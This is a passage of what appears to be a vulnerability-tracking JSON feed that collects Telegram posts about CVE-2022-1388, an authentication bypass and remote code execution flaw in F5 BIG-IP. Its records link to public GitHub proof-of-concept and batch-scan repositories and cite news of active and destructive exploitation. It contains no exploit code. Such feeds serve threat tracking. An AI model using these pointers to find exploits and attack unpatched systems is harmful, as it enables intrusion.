"published-proof-of-concept", "source": "https://t.me/reverseame/3302", "content": "Finding Something New About CVE-2022-1388 https://vulncheck.com/blog/new-cve-2022-1388", "creation_timestamp": "2026-08-03T01:29:04.689477Z"}, {"uuid": "81a77414-ef60-40e3-95c6-c572d3109a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13249", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2022-1388*\nGithub: https://github.com/OnCyberWar/CVE-2022-1388", "creation_timestamp": "2026-07-31T00:00:10.148211Z"}, {"uuid": "48eb1c84-987d-45d7-943d-77096c3f610a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12646", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2022-1388*\nGithub: https://github.com/Zeyad-Azima/CVE-2022-1388", "creation_timestamp": "2026-07-31T00:00:08.585280Z"}, {"uuid": "d39788aa-768b-462c-9a50-baa0be0bcb7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/information_security_channel/47406", "content": "Critical Vulnerability Exploited to 'Destroy' BIG-IP Appliances\nhttps://www.securityweek.com/critical-vulnerability-exploited-destroy-big-ip-appliances\n\nThe recently patched F5 BIG-IP vulnerability tracked as CVE-2022-1388 is being increasingly exploited by threat actors, including to \u201cdestroy\u201d affected appliances.\nread more (https://www.securityweek.com/critical-vulnerability-exploited-destroy-big-ip-appliances)", "creation_timestamp": "2022-05-11T13:05:36.000000Z"}, {"uuid": "2f96a609-894f-41cc-994c-46a3250cc0ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2047", "content": "#CVE-2022\n\nPoC for CVE-2022-1388_F5_BIG-IP\n\nhttps://github.com/sherlocksecurity/CVE-2022-1388_F5_BIG-IP\n\n@BlueRedTeam", "creation_timestamp": "2022-05-09T12:47:45.000000Z"}, {"uuid": "7bbf2860-7e64-4f84-a3d4-a0b18f00a801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/thehackernews/2149", "content": "WATCH OUT! F5 warns of a new critical BIG-IP remote code execution vulnerability (CVE-2022-1388) due to missing authentication checks that could allow attackers to gain control of affected systems.\n\nDetails: https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html", "creation_timestamp": "2022-05-05T04:41:10.000000Z"}, {"uuid": "0a1d57d5-45b1-466d-bb17-b4dcd366543c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/16884", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study*\nGithub: https://github.com/SudeepaShiranthaka/F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study", "creation_timestamp": "2026-07-31T00:00:41.365170Z"}, {"uuid": "3f2b225e-ff12-4d0c-9363-f0547423e076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/xakep_ru/12343", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433 \u0432 F5 BIG-IP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445\n\n\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 F5 BIG-IP, CVE-2022-1388, \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0435\u0441\u0442\u0440\u0443\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u0446\u0435\u043b\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u2013 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u043c \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f.\n\nhttps://xakep.ru/2022/05/12/f5-destructive-attacks/", "creation_timestamp": "2022-05-12T20:34:34.000000Z"}, {"uuid": "6bdb020b-506f-4b86-81e3-89b70a56d574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2061", "content": "#CVE-2022\n\nBIG-IP iCONTROL REST AUTH BYPASS RCE POC CVE-2022-1388\n\nhttps://github.com/TomArni680/CVE-2022-1388-POC\n\n@BlueRedTeam", "creation_timestamp": "2022-05-10T18:39:01.000000Z"}, {"uuid": "114d64d6-c5c2-4689-820d-39120306d196", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2062", "content": "#CVE-2022\n\nA Test API for testing the POC against CVE-2022-1388\n\nhttps://github.com/bandit92/CVE2022-1388_TestAPI\n\n@BlueRedTeam", "creation_timestamp": "2022-05-10T18:50:04.000000Z"}, {"uuid": "269b492b-c14d-4fdd-82ff-622c4613512f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2094", "content": "#CVE-2022\n\nCVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust \n\nhttps://github.com/XmasSnowISBACK/CVE-2022-1388\n\n@BlueRedTeam", "creation_timestamp": "2022-05-22T15:58:56.000000Z"}, {"uuid": "55b88899-dc63-45e2-beb0-6cc67be9c73d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2109", "content": "#CVE-2022\nCVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC\u96c6\u5408\n\nhttps://github.com/west9b/F5-BIG-IP-POC\n\n@BlueRedTeam", "creation_timestamp": "2022-05-28T16:30:21.000000Z"}, {"uuid": "7dafe296-c8e7-4973-8745-8cf8bb47f444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2048", "content": "#CVE-2022\n\nK23605346: BIG-IP iControl REST vulnerability CVE-2022-1388\n\nhttps://github.com/numanturle/CVE-2022-1388\n\n@BlueRedTeam", "creation_timestamp": "2022-07-27T05:52:24.000000Z"}, {"uuid": "31965b44-5756-46d8-8916-cb6d5921443b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2049", "content": "#CVE-2022\n\nPoC for CVE-2022-1388_F5_BIG-IP\n\nhttps://github.com/sherlocksecurity/CVE-2022-1388_F5_BIG-IP_RCE\n\n@BlueRedTeam", "creation_timestamp": "2022-05-09T13:49:59.000000Z"}, {"uuid": "23b50b1d-5c07-416c-b627-5f38b571668b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2050", "content": "#CVE-2022\n\nbatch scan CVE-2022-1388\n\nhttps://github.com/yukar1z0e/CVE-2022-1388\n\n@BlueRedTeam", "creation_timestamp": "2022-05-09T13:55:56.000000Z"}, {"uuid": "e4d4054e-5fc1-44f4-b103-ee7f8c32f3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2031", "content": "#exploit\n + CVE-2022-1388:\nBIG-IP F5 iControl REST vulnerability\nhttps://github.com/numanturle/CVE-2022-1388\n\n + CVE-2022-1040:\nAuth bypass and RCE in webmin portal of Sophos Firewall\nhttps://github.com/cve-hunter/CVE-2022-1040-sophos-rce\n\n@BlueRedTeam", "creation_timestamp": "2022-05-06T12:18:06.000000Z"}, {"uuid": "913a2db0-4ec0-4b60-a5f4-e9636f7a73ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2051", "content": "#CVE-2022\n\nCVE-2022-1388 F5 Big IP unauth remote code execution\n\nhttps://github.com/Vulnmachines/F5-Big-IP-CVE-2022-1388\n\n@BlueRedTeam", "creation_timestamp": "2022-05-09T14:00:01.000000Z"}, {"uuid": "778ba099-4b09-4c65-81c2-627e8036eadf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/BlueRedTeam/2054", "content": "#CVE-2022\n\nF5 BIG-IP RCE exploitation (CVE-2022-1388)\n\nhttps://github.com/alt3kx/CVE-2022-1388_PoC\n\n@BlueRedTeam", "creation_timestamp": "2022-05-09T19:04:50.000000Z"}, {"uuid": "4de3fbf1-a418-415c-a517-f5d98700a463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2055", "content": "#CVE-2022\n\nCVE-2022-1388 POC exploit\n\nhttps://github.com/superzerosec/CVE-2022-1388\n\n@BlueRedTeam", "creation_timestamp": "2022-05-09T19:44:29.000000Z"}, {"uuid": "4a01e20c-0aca-4708-a49c-34aa5f6bd49c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/2566", "content": "#Red_Team\n-- FOR EDUCATIONAL USE ONLY -- Proof-of-Concept RCE for CVE-2022-1388, plus some added functionality for blue and red teams\n\nhttps://github.com/vaelwolf/CVE-2022-1388\n\n@BlueRedTeam", "creation_timestamp": "2023-01-29T12:39:05.000000Z"}, {"uuid": "cc6f0f14-bc78-4524-8cc9-5b2d7c0ce79c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/SecLabNews/12481", "content": "\u0423 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0435\u0449\u0435 \u043c\u0435\u043d\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0447\u0435\u043c \u0441\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u043d\u0435\u0435.\n\n\u041d\u043e\u0432\u044b\u0439\u00a0\u043e\u0442\u0447\u0435\u0442 \u0437\u0430 2022 \u0433\u043e\u0434 Palo Alto Unit 42 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 15 \u043c\u0438\u043d\u0443\u0442 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043d\u043e\u0432\u044b\u0439 CVE \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c.\n\nPalo Alto Unit 42 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u041f\u041e \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 \u0434\u043b\u044f RCE. \n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u043f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0440\u043e\u0441\u043b\u0430.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0441\u043e\u0431\u044b\u0445 \u0443\u0441\u0438\u043b\u0438\u0439 \u043d\u0438\u0437\u043a\u043e\u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043c\u043e\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0434\u0430\u044e\u0442 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0447\u0430\u0441\u043e\u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u0432\u043e\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u0434\u0430\u0440\u043a\u043d\u0435\u0442\u0435 \u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u044b\u0442\u043d\u044b\u043c \u0445\u0430\u043a\u0435\u0440\u0430\u043c, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u043c \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0422\u0430\u043a, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-1388 \u0432 F5 BIG-IP \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 4 \u043c\u0430\u044f 2022 \u0433\u043e\u0434\u0430, \u0438, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Unit 42, \u0441\u043f\u0443\u0441\u0442\u044f \u0434\u0435\u0441\u044f\u0442\u044c \u0447\u0430\u0441\u043e\u0432 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f, \u0431\u044b\u043b\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e 2552 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0435 Palo Alto, \u0441\u0440\u0435\u0434\u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u0438 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u0438\u0438 2022\u00a0\u0433\u043e\u0434\u0430 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 ProxyShell (CVE-2021-34473, CVE-2021-34523 \u0438 CVE-2021-31207), \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u043e 55% \u043e\u0442 \u043e\u0431\u0449\u0435\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\u00a0\n\n\u041d\u0430 \u0432\u0442\u043e\u0440\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0441\u044f Log4Shell \u0441 14%, \u0434\u0430\u043b\u0435\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 CVE SonicWall \u2014 7%, ProxyLogon \u2014 5%, \u0430 RCE \u0432\u00a0Zoho ManageEngine ADSelfService Plus \u0431\u044b\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0432 3% \u0441\u043b\u0443\u0447\u0430\u0435\u0432.\n\n\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438, \u043b\u044c\u0432\u0438\u043d\u0430\u044f \u0434\u043e\u043b\u044f \u0432 \u043e\u0431\u044a\u0435\u043c\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0435 \u0441\u0430\u043c\u044b\u0435 \u0441\u0432\u0435\u0436\u0438\u0435, \u0430 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 CVE, \u0447\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438, \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442\u0441\u044f \u0447\u0430\u0449\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c 0-day \u0438\u043b\u0438 \u0441\u0432\u0435\u0436\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Unit 42, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u041f\u041e \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0442\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043e\u0434\u043d\u0443 \u0442\u0440\u0435\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0432\u0441\u0435\u0445 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0439.\n\n\u0412 37% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0444\u0438\u0448\u0438\u043d\u0433 \u0431\u044b\u043b \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0442\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\u00a0\u0412 15% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u043b\u0438 \u0432 \u0441\u0435\u0442\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0421\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u044f \u0438\u043b\u0438 \u043f\u043e\u0434\u043a\u0443\u043f \u0438\u043d\u0441\u0430\u0439\u0434\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 10% \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\u0412\u044b\u0432\u043e\u0434\u044b \u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u0441\u0430\u043c\u0438: \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430.", "creation_timestamp": "2022-07-28T07:20:54.000000Z"}, {"uuid": "0f61b4a2-36e0-43e3-93f6-22a77c0c5358", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/thebugbountyhunter/6256", "content": "F5 BIG-IP Critical Vulnerability Exploited By Attackers To Gain Unauthenticated RCE https://fourcore.io/blogs/f5-big-ip-cve-2022-1388-unauthenticated-rce-exploited-by-attackers", "creation_timestamp": "2022-05-17T12:02:08.000000Z"}, {"uuid": "81f5e2e4-60c1-4066-bfb0-15c073e1051e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/vxunderground/1297", "content": "We've updated the vx-underground APT collection. \n\n2013.03.20/The Teamspy Story\n2013.03.20/Teamspy - Technical Report\n2016.03.02/New self\u2011protecting USB trojan able to avoid detection\n2019.04.10/Gaza Cybergang Group1, operation SneakyPastes\n2017.04.13/Teamspy - A deeper look into malware abusing TeamViewer\n2017.04.14/PlexingEagle: A surprise encounter with a Telco APT\n2019.11.05/DarkUniverse \u2013 the mysterious APT framework #27\n2022.04.06/Continued Targeting of Indian Power Grid Assets by Chinese State-Sponsored Activity Group\n2022.09.15/F5 